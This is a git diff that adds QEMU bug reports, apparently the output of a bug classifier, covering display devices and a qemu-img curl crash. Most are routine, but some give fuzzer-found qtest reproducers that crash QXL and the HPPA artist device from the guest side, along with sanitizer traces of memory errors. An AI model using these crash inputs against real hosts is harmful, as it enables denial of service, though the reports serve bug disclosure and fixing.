b/results/classifier/deepseek-1/output/graphic/1864984 new file mode 100644 index 00000000..c53cd231 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1864984 @@ -0,0 +1,32 @@ + +"nr_entries is too big" when using virgl + +I have a bootable image where GNOME Shell fails because it hits a limit in virtio-gpu. + +In `hw/display/virtio-gpu.c`, there is a limit for `nr_entries` at 16384. There is no explanation for that limit. But there does not seem to be any limit on the kernel side. + +Raising this limit with a patch to 262144 solves the issue. + +Could there be an explanation why this limit is needed? And why this value? Or could this limit be just removed? + +/me wonders what gnome shell is doing there ... + +It is the number of scatter list entries for resources. Even in the worst case (no chunks are continous in memory so each single page needs an entry) this is enough for 64 MB. An 4k display +framebuffer needs less than that. + +Removing the limit isn't an option. Raising maybe. + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting older bugs to "Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/graphic/1873341 b/results/classifier/deepseek-1/output/graphic/1873341 new file mode 100644 index 00000000..9dd4dea0 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1873341 @@ -0,0 +1,21 @@ + +Qemu Win98 VM with KVM videocard passthrough DOS mode video is not working for most of games.. + +Hello, +im using Win98 machine with KVM videocards passthrough which is working fine, but when i try Windows 98 - Dosbox mode, there is something work with all videocards which i tried PCI-E/PCI - Nvidia, 3Dfx, Matrox. + + Often is framerate is very slow, as slideshow: +Doom 2, Blood, even for Fdisk start - i can see how its slowly rendering individual lines, or its not working at all - freeze / black screen only - Warcraft 2 demo (vesa 640x480). + + There is something wrong with it. + + Qemu 2.11 + 4.2, Linux Mint 19.3. Gigabyte Z170 MB. + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/253 + + diff --git a/results/classifier/deepseek-1/output/graphic/1880539 b/results/classifier/deepseek-1/output/graphic/1880539 new file mode 100644 index 00000000..5df4ddf6 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1880539 @@ -0,0 +1,44 @@ + +I/O write make QXL abort in qxl_set_mode() + +libFuzzer found: + +qxl-0: guest bug: qxl_add_memslot: guest_start > guest_end 0xffffffffffffffff > 0x3ffffff +qemu-fuzz-i386: hw/display/qxl.c:1611: void qxl_set_mode(PCIQXLDevice *, unsigned int, int): Assertion `qxl_add_memslot(d, 0, devmem, QXL_SYNC) == 0' failed. +==8134== ERROR: libFuzzer: deadly signal + #0 0x55fddfcfb3f0 in __sanitizer_print_stack_trace (qemu-fuzz-i386+0xcb13f0) + #1 0x55fddfc0a3e1 in fuzzer::PrintStackTrace() (qemu-fuzz-i386+0xbc03e1) + #2 0x55fddfbeac6f in fuzzer::Fuzzer::CrashCallback() (qemu-fuzz-i386+0xba0c6f) + #3 0x55fddfbeacc3 in fuzzer::Fuzzer::StaticCrashSignalCallback() (qemu-fuzz-i386+0xba0cc3) + #4 0x7fd640644c6f (/lib64/libpthread.so.0+0x12c6f) + #5 0x7fd640483e34 in __GI_raise (/lib64/libc.so.6+0x37e34) + #6 0x7fd64046e894 in __GI_abort (/lib64/libc.so.6+0x22894) + #7 0x7fd64046e768 in __assert_fail_base.cold (/lib64/libc.so.6+0x22768) + #8 0x7fd64047c565 in __GI___assert_fail (/lib64/libc.so.6+0x30565) + #9 0x55fde08afd8b in qxl_set_mode (qemu-fuzz-i386+0x1865d8b) + #10 0x55fde08b9602 in ioport_write (qemu-fuzz-i386+0x186f602) + #11 0x55fddff170a7 in memory_region_write_accessor (qemu-fuzz-i386+0xecd0a7) + #12 0x55fddff16c13 in access_with_adjusted_size (qemu-fuzz-i386+0xeccc13) + #13 0x55fddff157b4 in memory_region_dispatch_write (qemu-fuzz-i386+0xecb7b4) + +Can be reproduce doing "writeb 0x06 0x23" on QXL I/O (PCI BAR #3). + +Command line: 'qemu-system-i386 -display none -M pc -vga qxl' + +Here's a qtest reproducer for this: +cat << EOF | ./i386-softmmu/qemu-system-i386 -M q35,accel=qtest -qtest null -nographic -vga qxl -qtest stdio -nodefaults +outl 0xcf8 0x80000804 +outb 0xcfc 0xff +outl 0xcf8 0x80000819 +outl 0xcfc 0x87caff7a +outb 0x86 0x23 +EOF + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'invalid' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/232 + + diff --git a/results/classifier/deepseek-1/output/graphic/1884990 b/results/classifier/deepseek-1/output/graphic/1884990 new file mode 100644 index 00000000..8fd44d4a --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1884990 @@ -0,0 +1,21 @@ + +Cirrus graphics results in monochrome colour depth at 640x480 resolution + +Recently we upgraded to a distribution that bundled QEMU 4.2.0. We were previously running on QEMU 3.0.0. When booting Windows 10 VMs on x86_64, users experienced slow, monochrome graphics and the resolution was restricted to 640x480. Reverting to the prior vgabios-cirrus.bin from the prior source tarball remediated the issue. + +An example QEMU command line is below, if needed: +/bin/qemu-system-x86_64 -vnc 0.0.0.0:100 -device cirrus-vga,id=video0,bus=pci.0,addr=0x2 -machine pc-i440fx-4.2,accel=kvm,usb=off,dump-guest-core=off -cpu qemu64 -m 2048 -overcommit mem-lock=off -smp 1,sockets=1,cores=1,threads=1 -no-user-config -nodefaults -hda test.raw & + +This seems to be the following SeaBIOS bug: +https://<email address hidden>/msg12271.html + +Ah, great catch! Yes, that does appear to be the issue+fix. Is QEMU planning on integrating the next release of SeaBIOS or fixing this as a one-off for now? + +Yes, the maintainer will likely get the submodule updated before the next release. + +This issue is still marked as unresolved almost 6 months later. Has the submodule been updated and merged into QEMU yet? + +The patch mentioned by Philippe ("vga: fix cirrus bios") has been included into QEMU via this commit here: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=de15df5ead400b7c3d0cf2 +... which has been released as part of QEMU v5.1 already. Thus this issue should be fixed now. + diff --git a/results/classifier/deepseek-1/output/graphic/1890310 b/results/classifier/deepseek-1/output/graphic/1890310 new file mode 100644 index 00000000..26b61cbc --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1890310 @@ -0,0 +1,53 @@ + +Segfault in artist.c:block_move + +Hello, +Reproducer: + +cat << EOF | ./hppa-softmmu/qemu-system-hppa -m 64 -display none \ +-qtest stdio -accel qtest +writeq 0xf8100802 0xff5c651ffffb7c5c +writeq 0xf8100afb 0x25e000000000000 +EOF + +AddressSanitizer:DEADLYSIGNAL +================================================================= +==12686==ERROR: AddressSanitizer: SEGV on unknown address 0x7f001a540000 (pc 0x55af3a373078 bp 0x7ffc23001a00 sp 0x7ffc23001670 T0) +==12686==The signal is caused by a READ memory access. + #0 0x55af3a373078 in block_move /hw/display/artist.c:525:13 + #1 0x55af3a365fbc in artist_reg_write /hw/display/artist.c:964:9 + #2 0x55af39a577a3 in memory_region_write_accessor /softmmu/memory.c:483:5 + #3 0x55af39a56adc in access_with_adjusted_size /softmmu/memory.c:539:18 + #4 0x55af39a54873 in memory_region_dispatch_write /softmmu/memory.c:1466:16 + #5 0x55af39102056 in flatview_write_continue /exec.c:3176:23 + #6 0x55af390ea866 in flatview_write /exec.c:3216:14 + #7 0x55af390ea387 in address_space_write /exec.c:3308:18 + #8 0x55af39afe604 in qtest_process_command /softmmu/qtest.c:452:13 + #9 0x55af39af5c08 in qtest_process_inbuf /softmmu/qtest.c:710:9 + #10 0x55af39af4895 in qtest_read /softmmu/qtest.c:722:5 + #11 0x55af3bfb0c43 in qemu_chr_be_write_impl /chardev/char.c:188:9 + #12 0x55af3bfb0dc7 in qemu_chr_be_write /chardev/char.c:200:9 + #13 0x55af3bfc50b3 in fd_chr_read /chardev/char-fd.c:68:9 + #14 0x55af3c119474 in qio_channel_fd_source_dispatch /io/channel-watch.c:84:12 + #15 0x7f0028f60897 in g_main_context_dispatch (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4e897) + #16 0x55af3c51137b in glib_pollfds_poll /util/main-loop.c:217:9 + #17 0x55af3c50eaab in os_host_main_loop_wait /util/main-loop.c:240:5 + #18 0x55af3c50e444 in main_loop_wait /util/main-loop.c:516:11 + #19 0x55af39b16d00 in qemu_main_loop /softmmu/vl.c:1676:9 + #20 0x55af3c151261 in main /softmmu/main.c:49:5 + #21 0x7f0027ae6e0a in __libc_start_main /build/glibc-GwnBeO/glibc-2.30/csu/../csu/libc-start.c:308:16 + #22 0x55af38ff5729 in _start (/home/alxndr/Development/qemu/general-fuzz/build/hppa-softmmu/qemu-system-hppa+0x22d4729) + +AddressSanitizer can not provide additional info. +SUMMARY: AddressSanitizer: SEGV /hw/display/artist.c:525:13 in block_move +==12686==ABORTING + +The error occurs even with Message-Id: <email address hidden> applied (I collected the above trace with the patch-set applied) + +Thanks +-Alex + +Fixed by commit a501bfc91763d4642390090dd4e6039d67b63702. + +Released with QEMU v5.2.0. + diff --git a/results/classifier/deepseek-1/output/graphic/1891749 b/results/classifier/deepseek-1/output/graphic/1891749 new file mode 100644 index 00000000..df3ac9c2 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1891749 @@ -0,0 +1,9 @@ + +CGA Mode 6 is only 100 pixels tall, when it's supposed to be 200 + +I have written a program that used CGA Mode 6 (640x200 black and white). However qemu-system-i386 only displays the first 100 pixels, effectively limiting the resolution of mode 6 to 640x100. When running the same program on a real computer it uses the whole 640x200 pixels. + +Could you please provide a test program for this issue? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/graphic/1898215 b/results/classifier/deepseek-1/output/graphic/1898215 new file mode 100644 index 00000000..531d1f84 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1898215 @@ -0,0 +1,86 @@ + +[git][archlinux]Build process is busted in spice-display.c + +Linux distribution: Archlinux. Crash log added is based on a build from scratch. + +Gcc version: 10.2.0 + +Configure options used: + +configure \ + --prefix=/usr \ + --sysconfdir=/etc \ + --localstatedir=/var \ + --libexecdir=/usr/lib/qemu \ + --extra-ldflags="$LDFLAGS" \ + --smbd=/usr/bin/smbd \ + --enable-modules \ + --enable-sdl \ + --disable-werror \ + --enable-slirp=system \ + --enable-xfsctl \ + --audio-drv-list="pa alsa sdl" + +Crash log: + +../ui/spice-display.c: In function 'interface_client_monitors_config': +../ui/spice-display.c:682:25: error: 'VD_AGENT_CONFIG_MONITORS_FLAG_PHYSICAL_SIZE' undeclared (first use in this function); did you mean 'VD_AGENT_CONFIG_MONITORS_FLAG_USE_POS'? + 682 | if (mc->flags & VD_AGENT_CONFIG_MONITORS_FLAG_PHYSICAL_SIZE) { + | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + | VD_AGENT_CONFIG_MONITORS_FLAG_USE_POS +../ui/spice-display.c:682:25: note: each undeclared identifier is reported only once for each function it appears in +../ui/spice-display.c:683:13: error: unknown type name 'VDAgentMonitorMM' + 683 | VDAgentMonitorMM *mm = (void *)&mc->monitors[mc->num_of_monitors]; + | ^~~~~~~~~~~~~~~~ +../ui/spice-display.c:684:37: error: request for member 'width' in something not a structure or union + 684 | info.width_mm = mm[head].width; + | ^ +../ui/spice-display.c:685:38: error: request for member 'height' in something not a structure or union + 685 | info.height_mm = mm[head].height; + | ^ +make: *** [Makefile.ninja:2031: libcommon.fa.p/ui_spice-display.c.o] Error 1 +make: *** Waiting for unfinished jobs.... + +Full build log with make V=1. + +This is a bug in the spice-server meson build system: +https://gitlab.freedesktop.org/spice/spice/-/commit/37fd91a51f52cdc1b55d3ce41e6ce6db348b986c + +Most likely they will end up bumping the version to 0.15, so we may want to update the condition in qemu. + +Already reported to Arch: + +https://bugs.archlinux.org/task/68061 + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +Fix released + diff --git a/results/classifier/deepseek-1/output/graphic/1908266 b/results/classifier/deepseek-1/output/graphic/1908266 new file mode 100644 index 00000000..a4b96185 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1908266 @@ -0,0 +1,41 @@ + +spice unnecessary forces nographic + +When spice is enabled, qemu does not give the graphical window. It should not imply -nographic but only -display none. + +More precisely, there should be a way to prevent -vga qxl from being wired to the graphical window. + +Not clear what you are looking for ... + +-spice doesn't imply -nographic. +-spice flips the default for -display to none. +-vnc has the same effect btw. + +You can use -display {gtk,sdl} and -spice at the same time, +but you have to explicitly enable -display then. + + +The gtk window is not limited for -display but also for compatmonitor / serial /paralel, but when -spice is used, the gtk window does not show at all. While you can force the window to show with -display gtk, but the *side effect* is the vga will be wired/connected to the gtk window (which seems to break things when gl and so on is enabled). + +Yes, display devices show up on both UI and spice/vnc, +and right now there is no way to contigure that. + +Using spice fot the vga and gtk for serial/monitor +is rather unusual though. Any reason for this? + +I'd suggest to simply use the gtk ui instead. +It works with opengl (-display gtk,gl=on). +You also can show stuff side-by-side in +separate windows, via menu -> view -> detach tab. + + + +Does the spice protocol / any spice client allow access to compatmonitor / serial /paralel? + +Spice can be (if not often / mainly) used for remote access like VNC, but that does not necessarily mean users would want to host "fully-headless". + +Try "qemu -display spice-app", then go to menu -> view -> displays in virt-viewer. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/graphic/498421 b/results/classifier/deepseek-1/output/graphic/498421 new file mode 100644 index 00000000..64173b27 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/498421 @@ -0,0 +1,11 @@ + +Emulated monitor EDID reports too few available graphics resolutions + +In a Windows guest, not very many resolution modes are available. The available modes are restricted by what the virtual "monitor" EDID reports via DDC. And apparently, your fake monitor has a short list of modes. Please add some more modes like 1152x864, at least. But what would be REALLY nice is much finer granularity so that users can set the guest res to be just enough smaller than the host display so that window decorations and such fit. + +If you use -vga std of -vga vmware, you'll have a much larger choice of resolutions. + +For -vga vmware, it's actually possible to add custom resolutions but we don't have the tooling to make that user friendly today. I'll mark this bug as a wish list to track adding that feature. + +As mentioned in comment #1, -vga std is the way to go, so marking this ticket now as "Won't fix". + diff --git a/results/classifier/deepseek-1/output/graphic/612677 b/results/classifier/deepseek-1/output/graphic/612677 new file mode 100644 index 00000000..a9f11af1 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/612677 @@ -0,0 +1,24 @@ + +qemu-kvm -curses displays garbled screen + +when I launch qemu-kvm -curses (even without a guest OS) I get a garbled output, here's a screenshot: +http://kontsevoy.com/qemu.png + +some more info: + +myarch ~: uname -a +Linux myarch 2.6.34-ARCH #1 SMP PREEMPT Mon Jul 5 22:12:11 CEST 2010 x86_64 Intel(R) Core(TM)2 Duo CPU P8700 @ 2.53GHz GenuineIntel GNU/Linux + +myarch ~: qemu-kvm --version +QEMU PC emulator version 0.12.5 (qemu-kvm-0.12.5), Copyright (c) 2003-2008 Fabrice Bellard + +I also fetched the latest qemu-kvm from git repo and compiled it with simple ./configure&make +The compiled version behaved similarly + +I also tried different terminal emulators: gnome-terminal and xterm - same thing +I also tried real terminal (i.e. booted without X) - same thing + +I can not reproduce this issue using -curses with the latest version of qemu, so I guess this has been fixed somewhen during the last years ... if nobody else can reproduce it, I think we should close this bug. + +I'm closing this bug now, since it is apparently working with the latest version of QEMU. + diff --git a/results/classifier/deepseek-1/output/graphic/775604 b/results/classifier/deepseek-1/output/graphic/775604 new file mode 100644 index 00000000..896a5f5d --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/775604 @@ -0,0 +1,17 @@ + +Could not open SDL display when running XP as guest + +When running XP as guest on Linux 2.6.38 x86_64 (Arch Linux) in full screen qemu will crash. Dropping to 1400x900 or below does not have a problem nor does windowed mode. + +1. Running: +qemu-system-x86_64 -vga std -full-screen Virtual_Machines/Windows_XP/Windows_XP.img + +Produces error: +Could not open SDL display (1920x1200x0): No video mode large enough for 1920x1200 + +qemu-kvm version 0.14.0-1 + +Triaging old bug tickets... QEMU 0.14 is completely outdated nowadays. Can you still reproduce this behavior with the latest version of QEMU? + + Thanks for following up. I am no longer using QEMU. + diff --git a/results/classifier/deepseek-1/output/graphic/939443 b/results/classifier/deepseek-1/output/graphic/939443 new file mode 100644 index 00000000..e83dd57f --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/939443 @@ -0,0 +1,8 @@ + +qemu-system-x86_64 can no support 1366x768 + +My laptop resolution is 1366x768, but can not support at -vga vmware the -vga std. + +$ kvm -version +QEMU emulator version 1.0 (qemu-kvm-1.0), Copyright (c) 2003-2008 Fabrice Bellard + diff --git a/results/classifier/deepseek-1/output/graphics./1574572 b/results/classifier/deepseek-1/output/graphics./1574572 new file mode 100644 index 00000000..81ddfd7d --- /dev/null +++ b/results/classifier/deepseek-1/output/graphics./1574572 @@ -0,0 +1,60 @@ + +config 20 sriov direct bond ports，vm create failed. + +nova log： + + 2016-04-08 09:57:48.640 5057 INFO nova.compute.manager [req-4e1b4d70-62b6-4158-8413-3c9f226fd13b - - - - -] report alarm_instance_shutoff success + +2016-04-08 09:57:48.712 5057 INFO nova.compute.manager [req-4e1b4d70-62b6-4158-8413-3c9f226fd13b - - - - -] [instance: d860169c-0dac-448f-a644-01a9b200cebe] During _sync_instance_power_state the DB power_state (1) does not match the vm_power_state from the hypervisor (4). Updating power_state in the DB to match the hypervisor. + +2016-04-08 09:57:48.791 5057 WARNING nova.compute.manager [req-4e1b4d70-62b6-4158-8413-3c9f226fd13b - - - - -] [instance: d860169c-0dac-448f-a644-01a9b200cebe] Instance shutdown by itself. Calling the heal_instance_state. Current vm_state: active, current task_state: None, original DB power_state: 1, current VM power_state: 4 + +2016-04-08 09:57:48.892 5057 INFO nova.compute.manager [req-4e1b4d70-62b6-4158-8413-3c9f226fd13b - - - - -] alarm_notice_heal_event result:1,host_name:tfg120,instance_id:d860169c-0dac-448f-a644-01a9b200cebe,instance_name:vfnicdirect,vm_state:active,power_state:shutdown,action:start + +2016-04-08 09:57:48.997 5057 INFO nova.compute.manager [req-4e1b4d70-62b6-4158-8413-3c9f226fd13b - - - - -] Refresh_instance_block_device_info:False + +2016-04-08 09:57:48.998 5057 INFO nova.compute.manager [req-4e1b4d70-62b6-4158-8413-3c9f226fd13b - - - - -] [instance: d860169c-0dac-448f-a644-01a9b200cebe] Rebooting instance + +2016-04-08 09:57:49.373 5057 WARNING nova.compute.manager [req-4e1b4d70-62b6-4158-8413-3c9f226fd13b - - - - -] [instance: d860169c-0dac-448f-a644-01a9b200cebe] trying to reboot a non-running instance: (state: 4 expected: 1) + +2016-04-08 09:57:49.479 5057 INFO nova.virt.libvirt.driver [-] [instance: d860169c-0dac-448f-a644-01a9b200cebe] Instance destroyed successfully. + + +libvirtd log： + +2016-04-08 02:05:05.785+0000: 4778: info : qemuDomainDestroyFlags:2227 : Log: VM: name= instance-000000b8 + +2016-04-08 02:05:16.156+0000: 4771: info : qemuDomainDefineXMLFlags:7576 : Creating domain 'instance-000000b8' + +2016-04-08 02:05:16.158+0000: 4773: info : qemuDomainCreateWithFlags:7448 : Log: VM: name= instance-000000b8 + +2016-04-08 02:05:16.158+0000: 4773: info : qemuProcessStart:4412 : vm=0x7f19482fdb30 name=instance-000000b8 id=-1 asyncJob=0 migrateFrom=<null> stdin_fd=-1 stdin_path=<null> snapshot=(nil) vmop=0 flags=0x1 + +2016-04-08 02:05:16.169+0000: 4773: info : virNetDevReplaceNetConfig:2541 : Replace Net Config of linkdev enp132s0f0, vf 28, macaddress 00:d1:d4:00:05:03, vlanid 1250, stateDir /var/run/libvirt/hostdevmgr + +2016-04-08 02:05:16.169+0000: 4773: info : virNetDevReplaceNetConfig:2566 : Replace Vf Config of enp132s0f0, vf 28, vlanid 1250, stateDir /var/run/libvirt/hostdevmgr + +2016-04-08 02:05:16.169+0000: 4773: info : virNetDevReplaceVfConfig:2390 : pflinkdev enp132s0f0, vf 28,vlanid 1250 + +2016-04-08 02:05:16.178+0000: 4773: info : virNetDevReplaceVfConfig:2428 : save oldmac 00:d1:d4:00:05:03, oldvlanid 1250 + +2016-04-08 02:05:16.178+0000: 4773: info : virNetDevSetVfConfig:2196 : ifname enp132s0f0,ifindex -1,vf 28,macaddress 00:d1:d4:00:05:03, vlanid 1250 + + +qemu log： + +kvm_alloc_slot: no free slot available + +2016-04-08 06:21:04.793+0000: shutting down + +The VM has been shut off by hypervisor，so nova would use heal_instance_state function to reboot the VM. + +http://patchwork.ozlabs.org/patch/293580/ +In this patch，when KVM_CAP_NR_MEMSLOTS is implemented ，Convert the static slots array to +be dynamically allocated, supporting more slots when available. +But how many slots we can use，the number is limited by the host kernel？Do any one has the same problem？ + +Can you please provide the complete QEMU command line when reporting QEMU bugs? Just dumping a log of Nova is not very useful for debugging QEMU problems. Thanks. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/handled./1916501 b/results/classifier/deepseek-1/output/handled./1916501 new file mode 100644 index 00000000..679c52cb --- /dev/null +++ b/results/classifier/deepseek-1/output/handled./1916501 @@ -0,0 +1,104 @@ + +qemu-img convert segfaults with specific URL + +Using what is currently the latest git: (commit 00d8ba9e0d62ea1c7459c25aeabf9c8bb7659462, Date: Sun Feb 21 19:52:58 2021 +0000) + +$ ./build/qemu-img convert -f qcow2 -O raw https://download.cirros-cloud.net/0.4.0/cirros-0.4.0-x86_64-disk.img out.img +Segmentation fault (core dumped) + + +Backtrace for convenience: +qemu: qemu_mutex_lock_impl: Invalid argument + +Thread 1 "qemu-img" received signal SIGABRT, Aborted. +0x00007ffff77c59d5 in raise () from /lib64/libc.so.6 +(gdb) bt +#0 0x00007ffff77c59d5 in raise () from /lib64/libc.so.6 +#1 0x00007ffff77ae8a4 in abort () from /lib64/libc.so.6 +#2 0x00005555556705b2 in error_exit (err=<optimized out>, msg=msg@entry=0x5555556b69a0 <__func__.31> "qemu_mutex_lock_impl") at ../util/qemu-thread-posix.c:37 +#3 0x0000555555670945 in qemu_mutex_lock_impl (mutex=0x555555ae3758, file=0x5555556827a2 "../block/curl.c", line=406) at ../util/qemu-thread-posix.c:81 +#4 0x000055555559a05b in curl_multi_do (arg=0x555555aad2a0) at ../block/curl.c:406 +#5 0x000055555566193a in aio_dispatch_handler (ctx=ctx@entry=0x555555737790, node=0x555555b14150) at ../util/aio-posix.c:329 +#6 0x0000555555662072 in aio_dispatch_handlers (ctx=0x555555737790) at ../util/aio-posix.c:372 +#7 aio_dispatch (ctx=0x555555737790) at ../util/aio-posix.c:382 +#8 0x000055555564442e in aio_ctx_dispatch (source=<optimized out>, callback=<optimized out>, user_data=<optimized out>) at ../util/async.c:306 +#9 0x00007ffff7cfda9f in g_main_context_dispatch () from /lib64/libglib-2.0.so.0 +#10 0x000055555566f2c8 in glib_pollfds_poll () at ../util/main-loop.c:232 +#11 os_host_main_loop_wait (timeout=4397000000) at ../util/main-loop.c:255 +#12 main_loop_wait (nonblocking=nonblocking@entry=0) at ../util/main-loop.c:531 +#13 0x0000555555581edd in convert_do_copy (s=0x7fffffffd3a0) at ../qemu-img.c:2139 +#14 img_convert (argc=<optimized out>, argv=<optimized out>) at ../qemu-img.c:2738 +#15 0x00005555555783b1 in main (argc=7, argv=<optimized out>) at ../qemu-img.c:5536 + +I can reproduce this, and I can reproduce it back to 5.0 (haven’t tried any release before that). I couldn’t find a definite reason for why it breaks (curl_clean_state() is called because curl reports CURLMSG_DONE, freeing a socket, but then curl_multi_do() is called again for that socket, resulting in a use-after-free – but I don’t know why curl_multi_do() is invoked after CURLMSG_DONE). + +Because I remembered a similar situation where the curl driver suddenly failed (and then failed for every qemu release until that point), and where it turned out a change in libcurl broke our driver, I tried bisecting libcurl, but it turned out that when I build it myself and use it via LD_PRELOAD, I don’t get a crash. I’ve tried building it with different options and in different versions, but consistently I see that using the system libcurl results in a crash, and using one I built myself does not. (Tested on Fedora and Arch.) + +That isn’t to say the bug isn’t in our curl driver, but to find out where it is exactly, it seems necessary to find out what the difference between the system libcurl and the one I built is... So far, I have no idea. :/ + +Guys, when I run with valgrind, I always get this when segfault occurs: + +==74885== Invalid read of size 8 +==74885== at 0x1DC87D: curl_multi_do (curl.c:410) +==74885== by 0x23B949: aio_dispatch_handler (aio-posix.c:329) +==74885== by 0x23C0A1: aio_dispatch_handlers (aio-posix.c:372) +==74885== by 0x23C0A1: aio_dispatch (aio-posix.c:382) +==74885== by 0x22DEE1: aio_ctx_dispatch (async.c:306) +==74885== by 0x4A854DA: g_main_context_dispatch (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.6600.1) +==74885== by 0x236097: glib_pollfds_poll (main-loop.c:232) +==74885== by 0x236097: os_host_main_loop_wait (main-loop.c:255) +==74885== by 0x236097: main_loop_wait (main-loop.c:531) +==74885== by 0x13E30C: convert_do_copy (qemu-img.c:2139) +==74885== by 0x13E30C: img_convert (qemu-img.c:2738) +==74885== by 0x134660: main (qemu-img.c:5536) +==74885== Address 0xf9779b8 is 8 bytes inside a block of size 32 free'd +==74885== at 0x483DA3F: free (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so) +==74885== by 0x1DC5BC: curl_clean_state (curl.c:529) +==74885== by 0x1DC5BC: curl_clean_state (curl.c:515) +==74885== by 0x1DC7E4: curl_multi_check_completion (curl.c:385) +==74885== by 0x1DC8D4: curl_multi_do (curl.c:414) +==74885== by 0x23B949: aio_dispatch_handler (aio-posix.c:329) +==74885== by 0x23C0A1: aio_dispatch_handlers (aio-posix.c:372) +==74885== by 0x23C0A1: aio_dispatch (aio-posix.c:382) +==74885== by 0x22DEE1: aio_ctx_dispatch (async.c:306) +==74885== by 0x4A854DA: g_main_context_dispatch (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.6600.1) +==74885== by 0x236097: glib_pollfds_poll (main-loop.c:232) +==74885== by 0x236097: os_host_main_loop_wait (main-loop.c:255) +==74885== by 0x236097: main_loop_wait (main-loop.c:531) +==74885== by 0x13E30C: convert_do_copy (qemu-img.c:2139) +==74885== by 0x13E30C: img_convert (qemu-img.c:2738) +==74885== by 0x134660: main (qemu-img.c:5536) +==74885== Block was alloc'd at +==74885== at 0x483ED99: calloc (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so) +==74885== by 0x4A8B5A0: g_malloc0 (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.6600.1) +==74885== by 0x1DBDC9: curl_sock_cb (curl.c:156) +==74885== by 0x55402C1: ??? (in /usr/lib/x86_64-linux-gnu/libcurl-gnutls.so.4.6.0) +==74885== by 0x5543D33: ??? (in /usr/lib/x86_64-linux-gnu/libcurl-gnutls.so.4.6.0) +==74885== by 0x5543E77: curl_multi_socket_action (in /usr/lib/x86_64-linux-gnu/libcurl-gnutls.so.4.6.0) +==74885== by 0x1DC8C7: curl_multi_do_locked (curl.c:403) +==74885== by 0x1DC8C7: curl_multi_do (curl.c:413) +==74885== by 0x23B949: aio_dispatch_handler (aio-posix.c:329) +==74885== by 0x23C0A1: aio_dispatch_handlers (aio-posix.c:372) +==74885== by 0x23C0A1: aio_dispatch (aio-posix.c:382) +==74885== by 0x22DEE1: aio_ctx_dispatch (async.c:306) +==74885== by 0x4A854DA: g_main_context_dispatch (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.6600.1) +==74885== by 0x236097: glib_pollfds_poll (main-loop.c:232) +==74885== by 0x236097: os_host_main_loop_wait (main-loop.c:255) +==74885== by 0x236097: main_loop_wait (main-loop.c:531) + +It seems that sockets are being free'd in a non-expecting situation. + +Yes, as I wrote in comment 1, curl reports CURLMSG_DONE, the socket is freed, but then curl_multi_do() is called again for that socket (despite the CURLMSG_DONE). + +I suspect that qemu has interpreted the curl interface differently than curl itself (i.e., qemu has probably understood something wrong), which led to some change in curl breaking qemu’s curl module. (Because I can’t find an old qemu version that doesn’t break, and so can’t find a change in qemu that broke it.) + +So if indeed a change to the curl library is what causes this segfault, or at least made the underlying issue visible, I’d like to know which change that is, so we can try to infer what qemu does wrong. But I can’t find that change, because if I compile libcurl myself, I don’t get a segfault (nor valgrind errors in curl). + +Perhaps there’s something special about the server serving the image (although it just looks like AWS to me), i.e. it was always broken and we’ve just never seen it with other servers. If so, debugging will be more difficult because we’d really need to take a detailed look into all our curl driver does. + +I think I’ve come to kind of understood what might be wrong: qemu frees CURLSocket objects when “their” transfer is done, but libcurl’s documentation actually doesn’t note any long-lasting relationship between a socket and some transfer (i.e., a CURL object), so we probably shouldn’t free CURLSocket objects just because some transfer is done. Instead, we should only do so once libcurl explicitly tells us to remove the socket. + +I’ve sent a two-patch series to that effect: https://lists.nongnu.org/archive/html/qemu-block/2021-03/msg00515.html – it seems to help. + 